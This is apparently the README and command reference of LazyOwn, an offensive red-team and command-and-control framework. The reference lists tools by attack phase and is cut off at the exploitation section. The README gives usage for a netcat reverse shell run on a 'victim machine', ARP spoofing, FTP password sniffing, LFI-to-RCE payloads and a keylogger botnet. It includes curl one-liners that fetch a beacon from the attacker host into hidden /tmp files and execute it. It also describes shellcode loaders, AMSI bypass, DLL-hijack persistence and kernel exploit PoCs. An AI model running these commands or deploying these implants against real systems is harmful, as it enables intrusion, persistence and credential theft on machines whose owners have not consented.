LazyMeta Extract0r is a tool designed to extract metadata from various types of files, including PDF, DOCX, OLE files (such as DOC and XLS), and several image formats (JPG, JPEG, TIFF). This tool will traverse a specified directory, search for files with compatible extensions, extract the metadata, and save it to an output file.

[*] Iniciando: LazyMeta extract0r [;,;]

usage: lazyown_metaextract0r.py [-h] --path PATH lazyown_metaextract0r.py: error: the following arguments are required: --path

python3 lazyown_metaextract0r.py --path /home/user

Use mode decrypt encrypt

A encryption method that allows us to both encrypt files and decrypt them if we have the key, of course.

encrypt path/to/file key # to encrypt
decrypt path/to/file.enc key #to decrypt

Uso modo LazyNmap

The use of Lazynmap provides us with an automated script for a target, in this case, 127.0.0.1, using Nmap. The script requires administrative permissions via sudo. It also includes a network discovery module to identify what is present in the IP segment you are in. Additionally, the script can now be called without parameters using the alias nmap or with the command run lazynmap.

./lazynmap.sh -t 127.0.0.1 # or in the cli just nmap

Usage of LazyOwn GPT One Liner CLI Assistant and Researcher

Discover the revolution in automating pentesting tasks with the LazyOwn GPT One Liner CLI Assistant! This incredible script is part of the LazyOwn tool suite, designed to make your life as a pentester more efficient and productive.

Key Features:

Intelligent Automation: Leverages the power of Groq and advanced natural language models to generate precise and efficient commands based on your specific needs. User-Friendly Interface: With a simple prompt, the assistant generates and executes one-liner scripts, drastically reducing the time and effort involved in creating complex commands. Continuous Improvement: Continuously transforms and optimizes its knowledge base to provide you with the best solutions, adapting to each situation. Simplified Debugging: Enable debug mode to obtain detailed information at every step, facilitating the identification and correction of errors. Seamless Integration: Works effortlessly within your workspace, harnessing the power of the Groq API to deliver quick and accurate responses. Security and Control:

Safe Error Handling: Intelligently detects and responds to execution errors, ensuring you maintain full control over each generated command. Controlled Execution: Before executing any command, it requests your confirmation, giving you peace of mind knowing exactly what is being executed on your system. Easy Configuration:

Set up your API key in seconds and start enjoying all the benefits offered by the LazyOwn GPT One Liner CLI Assistant. A quick start guide is available to help you configure and maximize the potential of this powerful tool.

Ideal for Pentesters and Developers:

Optimize Your Processes: Simplify and accelerate command generation in your security audits. Continuous Learning: The knowledge base is constantly updated and improved, always providing you with the latest best practices and solutions. With the LazyOwn GPT One Liner CLI Assistant, transform the way you work, making it faster, more efficient, and secure. Stop wasting time on repetitive and complex tasks, and focus on what truly matters: discovering and resolving vulnerabilities!

Join the pentesting revolution with LazyOwn and take your productivity to the next level!

[?] Usage: python lazygptcli.py --prompt "" [--debug]

[?] Options:

--prompt "The prompt for the programming task (required)." --debug, -d "Enables debug mode to display debug messages." --transform "Transforms the original knowledge base into an enhanced base using Groq." [?] Ensure you configure your API key before running the script: export GROQ_API_KEY=<your_api_key> [->] Visit: https://console.groq.com/docs/quickstart (not a sponsored link)

Requirements:

Python 3.x A valid Groq API key Steps to Obtain the Groq API Key: Visit Groq Console (https://console.groq.com/docs/quickstart) to register and obtain an API key.

export GROQ_API_KEY=<tu_api_key>
python3 lazygptcli.py --prompt "<tu prompt>" [--debug]

Usage of lazyown_bprfuzzer.py

Provide the arguments as specified by the script's requests: The script will require the following arguments:

usage: lazyown_bprfuzzer.py [-h] --url URL [--method METHOD] [--headers HEADERS] [--params PARAMS] [--data DATA] [--json_data JSON_DATA] [--proxy_port PROXY_PORT] [-w WORDLIST] [-hc HIDE_CODE] --url: The URL to which the request will be sent (required). --method: The HTTP method to use, such as GET or POST (optional, default: GET). --headers: The request headers in JSON format (optional, default: {}). --params: The URL parameters in JSON format (optional, default: {}). --data: The form data in JSON format (optional, default: {}). --json_data: The JSON data for the request in JSON format (optional, default: {}). --proxy_port: The port for the internal proxy (optional, default: 8080). -w, --wordlist: The path to the wordlist for fuzzing mode (optional). -hc, --hide_code: The HTTP status code to hide in the output (optional). Make sure to provide the required arguments to ensure the script runs correctly.

python3 lazyown_bprfuzzer.py --url "http://example.com" --method POST --headers '{"Content-Type": "LAZYFUZZ"}'

Form 2: Advanced Usage

If you wish to take advantage of the advanced features of the script, such as request replay or fuzzing, follow these steps:

Request Replay:

To utilize the request replay functionality, provide the arguments as indicated earlier. During execution, the script will ask if you want to repeat the request. Enter 'y' to repeat or 'n' to terminate the repeater. Fuzzing:

To use the fuzzing functionality, make sure to provide a wordlist with the -w or --wordlist argument. The script will replace the word LAZYFUZZ in the URL and other data with the words from the provided wordlist. During execution, the script will display the results of each fuzzing iteration. These are the basic and advanced ways to use the lazyburp.py script. Depending on your needs, you can choose the method that best fits your specific situation.

python3 lazyown_bprfuzzer.py \                                                                                                           ─╯
    --url "http://127.0.0.1:80/LAZYFUZZ" \
    --method POST \
    --headers '{"User-Agent": "LAZYFUZZ"}' \
    --params '{"param1": "value1", "param2": "LAZYFUZZ"}' \
    --data '{"key1": "LAZYFUZZ", "key2": "value2"}' \
    --json_data '{"key3": "LAZYFUZZ"}' \
    --proxy_port 8080 \
    -w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \
    -hc 501

python3 lazyown_bprfuzzer.py \                                                                                                           ─╯
    --url "http://127.0.0.1:80/LAZYFUZZ" \
    --method POST \
    --headers '{"User-Agent": "LAZYFUZZ"}' \
    --params '{"param1": "value1", "param2": "LAZYFUZZ"}' \
    --data '{"key1": "LAZYFUZZ", "key2": "value2"}' \
    --json_data '{"key3": "LAZYFUZZ"}' \
    --proxy_port 8080 \
    -w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \

Note: To use the dictionary, run the following command within /usr/share/seclists:

now the command 'getseclist' do that automated.
wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip \
&& unzip SecList.zip \
&& rm -f SecList.zip

Usage of LazyOwn FTP Sniff Mode

This module is used to search for passwords on FTP servers across the network. Some may say that FTP is no longer used, but you would be surprised at the critical infrastructure environments I've seen with massive FTP services running on their servers. :)

assign device eth0
run lazyftpsniff

Uso modo LazyReverseShell

Listen

nc -nlvp 1337 #o el puerto que escojamos

para luego en la maquina victima

./lazyreverse_shell.sh --ip 127.0.0.1 --puerto 1337

Usage of Lazy Curl to Recon Mode

The module is located in the modules directory and is used as follows:

chmod +x lazycurl.sh

and then

./lazycurl.sh --mode GET --url http://10.10.10.10

Usage.

GET:

./lazycurl.sh --mode GET --url http://10.10.10.10

POST:

./lazycurl.sh --mode POST --url http://10.10.10.10 --data "param1=value1&param2=value2"

TRACE:

./lazycurl.sh --mode TRACE --url http://10.10.10.10
```sh

File upload:

```sh
./lazycurl.sh --mode UPLOAD --url http://10.10.10.10 --file file.txt

wordlist bruteforce mode:

./lazycurl.sh --mode BRUTE_FORCE --url http://10.10.10.10 --wordlist /usr/share/wordlists/rockyou.txt

Make sure to adjust the parameters according to your needs and that the values you provide for the options are valid for each case.

Usage of ARPSpoofing Mode

The script provides an ARP spoofing attack using Scapy. In the payload, you must set the lhost, rhost, and the device that you will use to perform the ARP spoofing.

assign rhost 192.168.1.100
assign lhost 192.168.1.1
assign device eth0
run lazyarpspoofing

Usage of LazyGathering Mode

This script provides an X-ray view of the system in question where the tool is being executed, offering insights into its configuration and state.

run lazygath

Usage of Lazy Own LFI RFI 2 RCE Mode

The LFI RFI 2 RCE mode is designed to test some of the more well-known payloads against the parameters specified in payload.json. This allows for a comprehensive assessment of Local File Inclusion (LFI), Remote File Inclusion (RFI), and Remote Code Execution (RCE) vulnerabilities in the target system.

payload
run lazylfi2rce

Usage of LazyOwn Sniffer Mode

https://www.youtube.com/watch?v=_-DDiiMrIlE

The sniffer mode allows capturing network traffic through interfaces using the -i option, which is mandatory. There are many other optional settings that can be adjusted as needed.

Usage

usage: lazysniff.py [-h] -i INTERFACE [-c COUNT] [-f FILTER] [-p PCAP]
lazysniff.py: error: the following arguments are required: -i/--interface


![Captura de pantalla 2024-06-05 031231](https://github.com/grisuno/LazyOwn/assets/1097185/db1e05a0-026e-414f-9ec6-0a9ef2cb06fe)

To use the sniffer from the framework, you must configure the device with the command:

```sh
run lazysniff
or just
sniff

Experimental Obfuscation Using PyInstaller

This feature is in experimental mode and does not work fully due to a path issue. Soon, it will support obfuscation using PyInstaller.

./py2el.sh

Experimental NetBIOS Exploit

This feature is in experimental mode as it is not functioning yet... (coming soon, possibly an implementation of EternalBlue among other things...)

run lazynetbios

Experimental LazyBotNet with Keylogger for Windows and Linux

This feature is in experimental mode, and the decryption of the keylogger logs is not functioning xD. Here we see for the first time in action the payload command, which sets all the configuration in our payload.json, allowing us to preload the configuration before starting the framework.

payload
run lazybotnet

Interactive Menus

The script features interactive menus to select actions to be performed. In server mode, it displays relevant options for the victim machine, while in client mode, it shows options relevant to the attacking machine.

Clean Interruption

The script handles the SIGINT signal (usually generated by Control + C) to exit cleanly.

License

This project is licensed under the GPL v3 License. The information contained in GTFOBins is owned by its authors, to whom we are immensely grateful for the information provided.

Acknowledgments ✌

A special thanks to GTFOBins for the valuable information they provide and to you for using this project. Also, thanks for your support Tito S4vitar! who does an extraordinary job of outreach. Of course, I use the extractPorts function in my .zshrc :D, thanks to deepwiki to help us with doc. ( https://deepwiki.com/grisuno/LazyOwn/ ), thanks to plaintext who does an extraordinary job of outreach and we adopted PTMultiTools it's very impresive

Thanks to pwntomate 🍅

An excellent tool that I adapted a bit to work with the project; all credits go to its author honze-net Andreas Hontzia. Visit and show love to the project: https://github.com/honze-net/pwntomate

Thanks to Sicat 🐈

An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. https://github.com/justakazh/sicat/

Thanks to josefcohernandez

For identifying and reporting the Docker build failures caused by the repo.charm.sh outage and the Python version incompatibility. His report led to the fixes in lazyown-docker/Dockerfile.

Thanks to EQSTLab (via yym8538)

For two critical security advisories that helped us harden the framework and fix serious vulnerabilities. Their responsible disclosure makes LazyOwn safer for the entire community.

BlackSandBeacon — Linux BOF

BlackSandBeacon brings Beacon Object File (BOF) extensibility to Linux for the first time in an open-source C2 framework. No commercial C2 (including Cobalt Strike) offers Linux BOF support.

What is Linux BOF?

On Windows, BOFs are position-independent PE COFF objects loaded by the beacon at runtime, giving operators an in-memory plugin system without spawning new processes. BlackSandBeacon ports this model to Linux:

• BOFs compile as position-independent ELF shared objects (.so) with GCC (-shared -fPIC -nostartfiles).
• The beacon loads them at runtime via dlopen — no disk writes after delivery, no new process, no shell.
• The datap API (BeaconDataParse, BeaconDataInt, BeaconDataExtract, BeaconPrintf, BeaconOutput) is source-compatible with the Windows BOF contract, so existing BOF authors can port by replacing Win32 calls with Linux syscalls or libc equivalents.
• Advanced BOFs can use direct syscalls via inline assembly or io_uring for kernel interaction without libc linking.

Deployment via LazyOwn

# 1. Build and stage the beacon
(LazyOwn) > blacksandbeacon

# 2. Deliver to target (command runs on target)
curl -sk "http://{lhost}:{lport}/blacksandbeacon" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &

# 3. Build and stage the BOF loader
(LazyOwn) > blacksandbeacon_bof

# 4. Deliver the BOF loader to a live session
curl -sk "http://{lhost}:{lport}/bof_loader" -o /tmp/.bof && chmod +x /tmp/.bof && /tmp/.bof

Porting a Windows BOF to Linux

// Replace Win32 API calls with direct syscalls or libc equivalents.
// The datap API remains identical.
#include "beacon.h"

void go(char *args, int len) {
    datap parser;
    BeaconDataParse(&parser, args, len);
    char *target = BeaconDataExtract(&parser, NULL);
    // Linux: use syscall(SYS_open, ...) instead of CreateFile
    BeaconPrintf(CALLBACK_OUTPUT, "target: %s\n", target);
}

Compile: gcc -shared -fPIC -nostartfiles -o mybof.so mybof.c

Adoption gap this closes

Capability	Cobalt Strike	Sliver	Havoc	LazyOwn + BlackSandBeacon
Windows BOF	Yes	No	No	Yes (via beacon addon)
Linux BOF	No	No	No	Yes
ARM BOF	No	No	No	Planned (blackzincbeacon)
Open source	No	Yes	Yes	Yes

Related Projects

LazyOwn ships as the "all-in-one" front of a small ecosystem of focused red-team tools. Each project below stands on its own and can be wired into LazyOwn through lazyaddons/*.yaml, the C2 implant pipeline, or the MCP lazyown_palette --info view (which exposes the graphify-derived calls and related neighbours of every command).

Lightweight beacons (C / ASM)

Drop-in replacements for the bundled Go beacon when you need a smaller footprint or per-architecture artefacts:

• beacon — minimalist Windows beacon in C with BOF support via Early Bird APC injection and NT Native API calls. Pairs with LazyOwn's malleable C2 profile. Wired in via lazyaddons/beacon.yaml.
• blacksandbeacon — Linux-native beacon in C with first-class Linux BOF (Beacon Object File) support via ELF shared-object injection and direct syscalls. BOFs are loaded at runtime through a dlopen runtime — the same extensibility model as Windows BOF but targeting Linux kernel internals. No commercial C2 framework (including Cobalt Strike) offers Linux BOF support. Wired in via lazyaddons/blacksandbeacon.yaml; BOF loader via lazyaddons/blacksandbeacon_bof.yaml.
• blackzincbeacon — ARM build of the same family, for embedded / IoT engagements.

Lightweight C2 frameworks

Alternative C2 surfaces that speak the same beacon protocol as lazyc2.py or that can serve as a teamserver back-end:

• BlackObsidianC2 — small, fast Go C2 server intended as a stripped-down companion to lazyc2.py.
• LazyOwnBT — Bluetooth / proximity-aware C2 PoC; useful when the engagement scope explicitly covers RF.

AI / orchestration

Drop into LazyOwn through MCP, the toposwarm lazyaddon, or directly:

• toposwarm — natural-language router on top of the LazyOwn command catalogue; ships as both a lazyaddon and a Claude Code skill.
• LazyOwnOpenCodeAdapter — bridge between LazyOwn and OpenCode-style coding agents.

Loaders, shellcode runners and post-exploitation

Used both by humans through pwntomate .tool files and by the autonomous daemon when the reactive selector recommends an in-memory technique:

• gomulti_loader — multi-platform Go shellcode loader (Linux + Windows). Wired in via lazyaddons/gomulti_loader_linux.yaml and gomulti_loader_windows.yaml.
• win_shellcode — collection of Windows shellcode templates ready to be linked from a beacon stub.
• ejecutarShellcode — minimal "execute-this-shellcode" loaders for quick PoCs.
• ShellcodeFluctuation_crosscompile — cross-compilable port of the ShellcodeFluctuation memory-encryption trick.
• LazyLoader — generic loader scaffold designed to be extended per engagement.
• OverRide — DLL hijack / DLL search-order-override toolkit for Windows persistence.
• ShadowLink — link-time / symbol-rewrite tooling for Linux ELF stagers.
• netsh_helper_dll — netsh helper-DLL persistence template for Windows.

Defensive bypass / instrumentation

• amsi — AMSI bypass research and PoCs; invoked from LazyOwn payloads when AV/EDR is the limiting factor.

Exploits and CVE PoCs

LazyOwn already vendors several recent kernel-class PoCs through the addon system (lazyaddons/copyfail.yaml, lazyaddons/dirtyfrag.yaml, lazyaddons/CVE-2022-22077.yaml, lazyaddons/CVE_2025_24071_PoC.yaml, lazyaddons/ebird3.yaml). The original repositories are listed here for auditability and citation:

• CVE-2022-22077 — RTCore64.sys arbitrary R/W IOCTL — used by the LazyOwn BYOVD chain.
• copy-fail-CVE-2026-31431 — next-gen Dirty Pipe variant. Backed by the copyfail lazyaddon.
• ebird3 — Early-Bird APC injection + NT Native API loader; produces stealthy in-memory Windows payloads.

Want to add yours? Drop a lazyaddons/<name>.yaml describing repo_url, install_command and execute_command; LazyOwn will pick it up automatically and surface it through the MCP lazyown_palette view.

Abstract

LazyOwn is a framework that streamlines its workflow and automates many tasks and tests through aliases and various tools, functioning like a Swiss army knife with multipurpose blades for hacking xD.

Lazyducky_digispark

  Compiles and uploads an .ino sketch to a Digispark device using Arduino CLI and Micronucleus.

    This method checks if Arduino CLI and Micronucleus are installed on the system.
    If they are not available, it installs them. It then compiles a Digispark sketch
    and uploads the generated .hex file to the Digispark device.

    The method performs the following actions:
    1. Checks for the presence of Arduino CLI and installs it if not available.
    2. Configures Arduino CLI for Digispark if not already configured.
    3. Generates a reverse shell payload and prepares the sketch for Digispark.
    4. Compiles the prepared Digispark sketch using Arduino CLI.
    5. Checks for the presence of Micronucleus and installs it if not available.
    6. Uploads the compiled .hex file to the Digispark device using Micronucleus.

    Args:
        line (str): Command line input provided by the user, which may contain additional parameters.

    Returns:
        None: The function does not return any value but may modify the state of the system
            by executing commands.

Star History

Documentation by readmeneitor.py

Documentation automatically created by the script readmeneitor.py created for this project; maybe one day it will have its own repo, but for now, I don't see it as necessary.

ReadMenator now have a repository

https://github.com/grisuno/ReadMenator

Legal disclaimer:

Usage of LazyOwn RedTeam Framework for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.

---

LazyOwn Command Reference

Auto-generated by readmeneitor.py from source docstrings and cli/command_index.json.

Table of Contents

• 01. Reconnaissance (38 commands)
• 02. Scanning & Enumeration (74 commands)
• 03. Exploitation (66 commands)
• 04. Post-Exploitation (45 commands)
• 05. Persistence (33 commands)
• 06. Privilege Escalation (16 commands)
• 07. Credential Access (31 commands)
• 08. Lateral Movement (30 commands)
• 09. Data Exfiltration (35 commands)
• 10. Command & Control (28 commands)
• 11. Reporting (26 commands)
• 12. Miscellaneous (169 commands)
• 13. Diagnostics (2 commands)
• Uncategorized (135 commands)

---

01. Reconnaissance

alterx

Phase: recon | Source: cli/commands/recon_migrated.py

Executes the 'alterx' command for subdomain enumeration on the provided self.params['domain']. If 'alterx'

apache_users

Phase: recon | Source: cli/commands/recon_migrated.py

Performs enumeration of users from a target system using apache-users.

binarycheck

Phase: recon | Source: cli/commands/recon_migrated.py

Performs various checks on a selected binary to gather information and protections.

cve

Phase: recon | Source: cli/commands/recon_migrated.py

Search for a CVE using the CIRCL API.

dig

Phase: recon | Source: cli/commands/recon.py

Executes the dig command to query DNS information.

dnschef

Phase: recon | Source: cli/commands/recon_migrated.py

Executes the DNSChef tool to monitor DNS queries and intercept responses.

dnsenum

Phase: recon | Source: cli/commands/recon.py

Performs DNS enumeration using dnsenum to identify subdomains for a given domain.

dnsmap

Phase: recon | Source: cli/commands/recon.py

Performs DNS enumeration using dnsmap to discover subdomains for a specified domain.

dnstool_py

Phase: recon | Source: cli/commands/recon_migrated.py

Executes the dnstool.py tool to modify Active Directory-integrated DNS records.

estorides_import

Phase: recon | Source: cli/commands/estorides.py

Import Estorides-discovered entities into LazyOwn database and scope.

estorides_loop

Phase: recon | Source: cli/commands/estorides.py

Run the bidirectional Estorides <-> LazyOwn feedback loop.

estorides_seed

Phase: recon | Source: cli/commands/estorides.py

Feed LazyOwn hosts/domains into Estorides for passive OSINT discovery.

estorides_surface

Phase: recon | Source: cli/commands/estorides.py

Show the combined active + passive attack surface.

finalrecon

Phase: recon | Source: cli/commands/recon.py

Runs the finalrecon tool to perform a web server vulnerability scan against the specified target host.

getcap

Phase: recon | Source: cli/commands/recon_migrated.py

Retrieve and display file capabilities on the system.

gospider

Phase: recon | Source: cli/commands/recon_migrated.py

Try gospider for web spidering.

graudit

Phase: recon | Source: cli/commands/recon_migrated.py

Executes the graudit command to perform a static code analysis with the specified options.

httprobe

Phase: recon | Source: cli/commands/recon_migrated.py

Executes the httprobe tool to probe domains for working HTTP and HTTPS servers.

ipinfo

Phase: recon | Source: cli/commands/recon_migrated.py

Retrieves detailed information about an IP address using the ARIN API.

launchpad

Phase: recon | Source: cli/commands/recon_migrated.py

Searches for packages on Launchpad based on the provided search term and extracts codenames from the results. The distribution is extracted from the search term.

metabigor

Phase: recon | Source: cli/commands/recon_migrated.py

Executes Metabigor commands for OSINT and scanning tasks with guided input or predefined arguments.

openssl_sclient

Phase: recon | Source: cli/commands/recon.py

Uses openssl s_client to connect to a specified host and port, allowing for testing and debugging of SSL/TLS connections.

ping

Phase: recon | Source: cli/commands/recon_migrated.py

Perform a ping to check host availability and infer the operating system based on TTL values.

ports

Phase: recon | Source: cli/commands/recon_migrated.py

Lists all open TCP and UDP ports on the local system.

proxy

Phase: recon | Source: cli/commands/recon_migrated.py

Runs a small proxy server to modify HTTP requests on the fly.

recon

Phase: recon | Source: cli/commands/recon_migrated.py

Performs reconnaissance on a specified self.params['domain'] using crt.sh (the target must be visible on internet), pup, httprobe, and EyeWitness.

serveralive2

Phase: recon | Source: cli/commands/recon_migrated.py

Command serveralive2: Uses Impacket to connect to a remote MSRPC interface and retrieves the server bindings.

sherlock

Phase: recon | Source: cli/commands/recon_migrated.py

Executes the Sherlock tool to find usernames across social networks.

sslscan

Phase: recon | Source: cli/commands/recon_migrated.py

Run an SSL scan on the specified remote host.

surface

Phase: recon | Source: cli/commands/recon_migrated.py

Render the network surface graph in the terminal.

tcpdump_capture

Phase: recon | Source: cli/commands/recon_migrated.py

Starts packet capture using tcpdump on the specified interface.

tcpdump_icmp

Phase: recon | Source: cli/commands/recon_migrated.py

Starts tcpdump to capture ICMP traffic on the specified interface.

trace

Phase: recon | Source: cli/commands/recon_migrated.py

Traces the DNS information for a given self.params['domain'] using the FreeDNS service. (using freedns IP Not your IP)

trufflehog

Phase: recon | Source: cli/commands/recon_migrated.py

Executes trufflehog to search for secrets in a given Git repository URL.

tshark_analyze

Phase: recon | Source: cli/commands/recon_migrated.py

Analyzes a packet capture file using tshark based on the provided remote host IP.

waybackmachine

Phase: recon | Source: cli/commands/recon_migrated.py

Fetch URLs from the Wayback Machine for a given website.

whatweb

Phase: recon | Source: cli/commands/recon.py

Performs a web technology fingerprinting scan using whatweb.

windapsearchscrapeusers

Phase: recon | Source: cli/commands/recon_migrated.py

Extracts usernames from a JSON output generated by go-windapsearch and appends them

02. Scanning & Enumeration

ad_ldap_enum

Phase: enum | Source: cli/commands/scan_migrated.py

Executes ad-ldap-enum to enumerate Active Directory objects (users, groups, computers)

allin

Phase: enum | Source: cli/commands/scan_migrated.py

Execute the AlliN.py tool with various scan modes and parameters.

amass

Phase: enum | Source: cli/commands/scan.py

Executes Amass to perform a passive enumeration on a given domain.

arjun

Phase: enum | Source: cli/commands/scan_migrated.py

Executes an Arjun scan on the specified URL for parameter discovery.

arpscan

Phase: enum | Source: cli/commands/scan.py

Executes an ARP scan using arp-scan.

batchnmap

Phase: enum | Source: cli/commands/recon.py

Runs the internal module modules/lazynmap.sh for multiple Nmap scans.

bbot

Phase: enum | Source: cli/commands/scan.py

Executes a BBOT scan to perform various reconnaissance tasks.

blazy

Phase: enum | Source: cli/commands/scan_migrated.py

Command blazy: Installs and runs blazy for multi-vulnerability web application scanning.

bloodhound

Phase: enum | Source: cli/commands/scan_migrated.py

Perform LDAP enumeration using bloodhound-python with credentials from a file.

breacher

Phase: enum | Source: cli/commands/scan_migrated.py

Command breacher: Installs and runs Breacher for finding admin login pages and EAR vulnerabilities.

certipy

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the Certipy tool to interact with Active Directory Certificate Services.

certipy_ad

Phase: enum | Source: cli/commands/scan_migrated.py

Run certipy-ad against Active Directory Certificate Services.

changeme

Phase: enum | Source: cli/commands/scan_migrated.py

Executes a changeme scan on a specified target URL or host.

cme

Phase: enum | Source: cli/commands/scan_migrated.py

Execute CrackMapExec (CME) for SMB enumeration and authentication attempts against a target.

davtest

Phase: enum | Source: cli/commands/scan_migrated.py

Tests WebDAV server configurations using davtest.

dirsearch

Phase: enum | Source: cli/commands/scan.py

Runs the dirsearch tool to perform directory and file enumeration on a specified URL.

dmitry

Phase: enum | Source: cli/commands/scan.py

This function constructs and executes a command for the 'dmitry' tool.

enum4linux

Phase: enum | Source: cli/commands/enum.py

Performs enumeration of information from a target Linux/Unix system using enum4linux.

enum4linux_ng

Phase: enum | Source: cli/commands/scan_migrated.py

Performs enumeration of information from a target system using enum4linux-ng.

evil_ssdp

Phase: enum | Source: cli/commands/scan_migrated.py

Runs evil-ssdp with various options and user-selected templates.

feroxbuster

Phase: enum | Source: cli/commands/scan.py

Command feroxbuster: Installs and runs Feroxbuster for performing forced browsing and directory brute-forcing.

finger_user_enum

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the finger-user-enum tool for enumerating users on the target host.

fuzz

Phase: enum | Source: cli/commands/scan_migrated.py

Executes a web server fuzzing script with user-provided parameters.

getnpusers

Phase: enum | Source: cli/commands/enum.py

sudo impacket-GetNPUsers mist.htb/ -no-pass -usersfile sessions/users.txt

gobuster

Phase: enum | Source: cli/commands/scan.py

Uses gobuster for directory and virtual host fuzzing based on provided parameters. Supports directory enumeration and virtual host discovery.

hostdiscover

Phase: enum | Source: cli/commands/scan.py

Discover active hosts in a subnet by performing a ping sweep.

hound

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the hound tool for Hound is a simple and light tool for information gathering and capture exact GPS coordinates

kerbrute

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the Kerbrute tool to enumerate user accounts against a specified target self.params['domain'] controller.

lazynmap

Phase: enum | Source: cli/commands/recon.py

Runs the internal module modules/lazynmap.sh with target mode.

ldapdomaindump

Phase: enum | Source: cli/commands/scan_migrated.py

Dumps LDAP information using ldapdomaindump with credentials from a file.

ldapsearch

Phase: enum | Source: cli/commands/scan_migrated.py

Executes an LDAP search against a target remote host (self.params['rhost']) and saves the results.

lookupsid

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the Impacket lookupsid tool to enumerate SIDs on a target system.

lookupsid_py

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the LookupSID tool to perform SID enumeration on a target system.

loxs

Phase: enum | Source: cli/commands/scan_migrated.py

Command loxs: Installs and runs Loxs for multi-vulnerability web application scanning.

lynis

Phase: enum | Source: cli/commands/scan_migrated.py

Performs a Lynis audit on the specified remote system.

magicrecon

Phase: enum | Source: cli/commands/scan.py

Command magicrecon: Automates the setup and usage of MagicRecon to perform various types of reconnaissance and vulnerability scanning on specified targets.

mqtt_check_py

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the MQTT check tool to verify credentials on a target system with optional SSL.

nbtscan

Phase: enum | Source: cli/commands/recon.py

Performs network scanning using nbtscan to discover NetBIOS names and addresses in a specified range.

net_rpc_addmem

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the net rpc group addmem command to add a user to a specified group in Active Directory.

netexec

Phase: enum | Source: cli/commands/scan_migrated.py

Executes netexec with various options for network protocol operations.

netview

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the Impacket netview tool to list network shares on a specified target.

nikto

Phase: enum | Source: cli/commands/recon.py

Runs the nikto tool to perform a web server vulnerability scan against the specified target host.

nmapscript

Phase: enum | Source: cli/commands/scan.py

Perform an Nmap scan using a specified script and port.

nuclei

Phase: enum | Source: cli/commands/scan.py

Executes a Nuclei scan on a specified target URL or host.

odat

Phase: enum | Source: cli/commands/scan_migrated.py

Command odat: Runs the ODAT sidguesser module to guess Oracle SIDs on a target Oracle database.

openredirex

Phase: enum | Source: cli/commands/scan_migrated.py

Command openredirex: Clones, installs, and runs OpenRedirex for testing open redirection vulnerabilities.

osmedeus

Phase: enum | Source: cli/commands/scan.py

Executes Osmedeus scans with guided input for various scanning scenarios.

parsero

Phase: enum | Source: cli/commands/scan_migrated.py

Executes a parsero scan on a specified target URL or host.

parth

Phase: enum | Source: cli/commands/scan_migrated.py

Command parth: Installs and runs Parth for discovering vulnerable URLs and parameters.

portdiscover

Phase: enum | Source: cli/commands/scan.py

Scan all ports on a specified host to identify open ports.

portservicediscover

Phase: enum | Source: cli/commands/scan.py

Scan all ports on a specified host to identify open ports and associated services.

pre2k

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the pre2k tool to query the self.params['domain'] for pre-Windows 2000 machine accounts or to pass a list of hostnames to test authentication.

pykerbrute

Phase: enum | Source: cli/commands/scan_migrated.py

Command pykerbrute: Automates the installation and execution of PyKerbrute for bruteforcing Active Directory accounts using Kerberos pre-authentication.

rdp_check_py

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the RDP check tool to verify credentials or hash-based authentication on a target system.

rpcclient

Phase: enum | Source: cli/commands/enum.py

Executes the rpcclient command to interact with a remote Windows system over RPC (Remote Procedure Call) using anonymous credentials.

rpcdump

Phase: enum | Source: cli/commands/enum.py

Executes the rpcdump.py script to dump RPC services from a target host.

rpcmap_py

Phase: enum | Source: cli/commands/scan_migrated.py

Command rpcmap_py: Executes rpcmap.py commands to enumerate MSRPC interfaces.

samrdump

Phase: enum | Source: cli/commands/scan_migrated.py

Run impacket-samrdump to dump SAM data from specified ports.

sawks

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the Swaks (Swiss Army Knife for SMTP) tool to send test emails for phishing simulations.

sessionssh

Phase: enum | Source: cli/commands/scan_migrated.py

Execute a command to list active SSH connections.

skipfish

Phase: enum | Source: cli/commands/scan.py

This function executes the web security scanning tool Skipfish

smbattack

Phase: enum | Source: cli/commands/scan_migrated.py

Scans for hosts with SMB service open on port 445 in the specified target network.

smbclient

Phase: enum | Source: cli/commands/enum.py

Interacts with SMB shares using the smbclient command to perform the following operations:

smbclient_impacket

Phase: enum | Source: cli/commands/enum.py

Interacts with SMB shares using the smbclient command to perform the following operations:

smbclient_py

Phase: enum | Source: cli/commands/enum.py

Interacts with SMB shares using the smbclient.py command to perform the following operations:

smbmap

Phase: enum | Source: cli/commands/enum.py

smbmap -H 10.10.10.3 [OPTIONS]

smtpuserenum

Phase: enum | Source: cli/commands/scan_migrated.py

Enumerates SMTP users using the smtp-user-enum tool with the VRFY method.

snmpcheck

Phase: enum | Source: cli/commands/scan_migrated.py

Performs an SNMP check on the specified target host.

snmpwalk

Phase: enum | Source: cli/commands/scan_migrated.py

Performs an SNMP check on the specified target host.

swaks

Phase: enum | Source: cli/commands/scan_migrated.py

Sends an email using swaks (Swiss Army Knife for SMTP).

vscan

Phase: enum | Source: cli/commands/scan.py

Perform port scanning using vscan with the provided parameters.

wfuzz

Phase: enum | Source: cli/commands/recon.py

Uses wfuzz to perform fuzzing based on provided parameters. This function supports various options for directory and file fuzzing.

windapsearch

Phase: enum | Source: cli/commands/scan_migrated.py

Execute the windapsearch tool to perform Active Directory Domain enumeration through LDAP queries.

wpscan

Phase: enum | Source: cli/commands/scan_migrated.py

Command wpscan: Installs and runs WPScan to perform WordPress vulnerability scanning.

03. Exploitation

aclpwn_py

Phase: exploit | Source: cli/commands/exploit_migrated.py

